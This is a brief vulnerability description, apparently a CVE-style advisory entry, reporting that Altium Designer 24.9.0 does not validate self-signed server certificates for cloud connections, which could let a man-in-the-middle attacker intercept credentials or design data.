Source: 4760f414-e1ae-4ff1-bdad-c7a9c3538b79

Description

Altium Designer version 24.9.0 does not validate self-signed server certificates for cloud connections. An attacker capable of performing a man-in-the-middle (MITM) attack could exploit this issue to intercept or manipulate network traffic, potentially exposing authentication credentials or sensitive design data.
